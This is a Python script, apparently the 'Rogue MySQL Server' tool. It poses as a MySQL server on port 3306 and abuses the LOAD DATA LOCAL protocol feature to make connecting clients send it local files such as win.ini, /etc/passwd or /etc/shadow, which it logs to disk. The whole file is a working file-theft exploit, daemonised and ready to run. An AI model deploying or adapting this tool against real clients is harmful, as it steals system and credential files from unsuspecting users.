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#!/usr/bin/env python | ||
#coding: utf8 | ||
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import socket | ||
import asyncore | ||
import asynchat | ||
import struct | ||
import random | ||
import logging | ||
import logging.handlers | ||
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PORT = 3306 | ||
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log = logging.getLogger(__name__) | ||
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log.setLevel(logging.DEBUG) | ||
tmp_format = logging.handlers.WatchedFileHandler('mysql.log', 'ab') | ||
tmp_format.setFormatter(logging.Formatter("%(asctime)s:%(levelname)s:%(message)s")) | ||
log.addHandler( | ||
tmp_format | ||
) | ||
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filelist = ( | ||
# r'c:\boot.ini', | ||
r'c:\windows\win.ini', | ||
# r'c:\windows\system32\drivers\etc\hosts', | ||
# '/etc/passwd', | ||
# '/etc/shadow', | ||
) | ||
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#================================================ | ||
#=======No need to change after this lines======= | ||
#================================================ | ||
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__author__ = 'Gifts' | ||
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def daemonize(): | ||
import os, warnings | ||
if os.name != 'posix': | ||
warnings.warn('Cant create daemon on non-posix system') | ||
return | ||
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if os.fork(): os._exit(0) | ||
os.setsid() | ||
if os.fork(): os._exit(0) | ||
os.umask(0o022) | ||
null=os.open('/dev/null', os.O_RDWR) | ||
for i in xrange(3): | ||
try: | ||
os.dup2(null, i) | ||
except OSError as e: | ||
if e.errno != 9: raise | ||
os.close(null) | ||
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class LastPacket(Exception): | ||
pass | ||
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class OutOfOrder(Exception): | ||
pass | ||
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class mysql_packet(object): | ||
packet_header = struct.Struct('<Hbb') | ||
packet_header_long = struct.Struct('<Hbbb') | ||
def __init__(self, packet_type, payload): | ||
if isinstance(packet_type, mysql_packet): | ||
self.packet_num = packet_type.packet_num + 1 | ||
else: | ||
self.packet_num = packet_type | ||
self.payload = payload | ||
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def __str__(self): | ||
payload_len = len(self.payload) | ||
if payload_len < 65536: | ||
header = mysql_packet.packet_header.pack(payload_len, 0, self.packet_num) | ||
else: | ||
header = mysql_packet.packet_header.pack(payload_len & 0xFFFF, payload_len >> 16, 0, self.packet_num) | ||
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result = "{0}{1}".format( | ||
header, | ||
self.payload | ||
) | ||
return result | ||
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def __repr__(self): | ||
return repr(str(self)) | ||
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@staticmethod | ||
def parse(raw_data): | ||
packet_num = ord(raw_data[0]) | ||
payload = raw_data[1:] | ||
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return mysql_packet(packet_num, payload) | ||
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class http_request_handler(asynchat.async_chat): | ||
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def __init__(self, addr): | ||
asynchat.async_chat.__init__(self, sock=addr[0]) | ||
self.addr = addr[1] | ||
self.ibuffer = [] | ||
self.set_terminator(3) | ||
self.state = 'LEN' | ||
self.sub_state = 'Auth' | ||
self.logined = False | ||
self.push( | ||
mysql_packet( | ||
0, | ||
"".join(( | ||
'\x0a', # Protocol | ||
'3.0.0-Evil_Mysql_Server' + '\0', # Version | ||
#'5.1.66-0+squeeze1' + '\0', | ||
'\x36\x00\x00\x00', # Thread ID | ||
'evilsalt' + '\0', # Salt | ||
'\xdf\xf7', # Capabilities | ||
'\x08', # Collation | ||
'\x02\x00', # Server Status | ||
'\0' * 13, # Unknown | ||
'evil2222' + '\0', | ||
)) | ||
) | ||
) | ||
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self.order = 1 | ||
self.states = ['LOGIN', 'CAPS', 'ANY'] | ||
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def push(self, data): | ||
log.debug('Pushed: %r', data) | ||
data = str(data) | ||
asynchat.async_chat.push(self, data) | ||
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def collect_incoming_data(self, data): | ||
log.debug('Data recved: %r', data) | ||
self.ibuffer.append(data) | ||
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def found_terminator(self): | ||
data = "".join(self.ibuffer) | ||
self.ibuffer = [] | ||
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if self.state == 'LEN': | ||
len_bytes = ord(data[0]) + 256*ord(data[1]) + 65536*ord(data[2]) + 1 | ||
if len_bytes < 65536: | ||
self.set_terminator(len_bytes) | ||
self.state = 'Data' | ||
else: | ||
self.state = 'MoreLength' | ||
elif self.state == 'MoreLength': | ||
if data[0] != '\0': | ||
self.push(None) | ||
self.close_when_done() | ||
else: | ||
self.state = 'Data' | ||
elif self.state == 'Data': | ||
packet = mysql_packet.parse(data) | ||
try: | ||
if self.order != packet.packet_num: | ||
raise OutOfOrder() | ||
else: | ||
# Fix ? | ||
self.order = packet.packet_num + 2 | ||
if packet.packet_num == 0: | ||
if packet.payload[0] == '\x03': | ||
log.info('Query') | ||
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filename = random.choice(filelist) | ||
PACKET = mysql_packet( | ||
packet, | ||
'\xFB{0}'.format(filename) | ||
) | ||
self.set_terminator(3) | ||
self.state = 'LEN' | ||
self.sub_state = 'File' | ||
self.push(PACKET) | ||
elif packet.payload[0] == '\x1b': | ||
log.info('SelectDB') | ||
self.push(mysql_packet( | ||
packet, | ||
'\xfe\x00\x00\x02\x00' | ||
)) | ||
raise LastPacket() | ||
elif packet.payload[0] in '\x02': | ||
self.push(mysql_packet( | ||
packet, '\0\0\0\x02\0\0\0' | ||
)) | ||
raise LastPacket() | ||
elif packet.payload == '\x00\x01': | ||
self.push(None) | ||
self.close_when_done() | ||
else: | ||
raise ValueError() | ||
else: | ||
if self.sub_state == 'File': | ||
log.info('-- result') | ||
log.info('Result: %r', data) | ||
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if len(data) == 1: | ||
self.push( | ||
mysql_packet(packet, '\0\0\0\x02\0\0\0') | ||
) | ||
raise LastPacket() | ||
else: | ||
self.set_terminator(3) | ||
self.state = 'LEN' | ||
self.order = packet.packet_num + 1 | ||
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elif self.sub_state == 'Auth': | ||
self.push(mysql_packet( | ||
packet, '\0\0\0\x02\0\0\0' | ||
)) | ||
raise LastPacket() | ||
else: | ||
log.info('-- else') | ||
raise ValueError('Unknown packet') | ||
except LastPacket: | ||
log.info('Last packet') | ||
self.state = 'LEN' | ||
self.sub_state = None | ||
self.order = 0 | ||
self.set_terminator(3) | ||
except OutOfOrder: | ||
log.warning('Out of order') | ||
self.push(None) | ||
self.close_when_done() | ||
else: | ||
log.error('Unknown state') | ||
self.push('None') | ||
self.close_when_done() | ||
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class mysql_listener(asyncore.dispatcher): | ||
def __init__(self, sock=None): | ||
asyncore.dispatcher.__init__(self, sock) | ||
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if not sock: | ||
self.create_socket(socket.AF_INET, socket.SOCK_STREAM) | ||
self.set_reuse_addr() | ||
try: | ||
self.bind(('', PORT)) | ||
except socket.error: | ||
exit() | ||
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self.listen(5) | ||
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def handle_accept(self): | ||
pair = self.accept() | ||
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if pair is not None: | ||
log.info('Conn from: %r', pair[1]) | ||
tmp = http_request_handler(pair) | ||
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z = mysql_listener() | ||
daemonize() | ||
asyncore.loop() |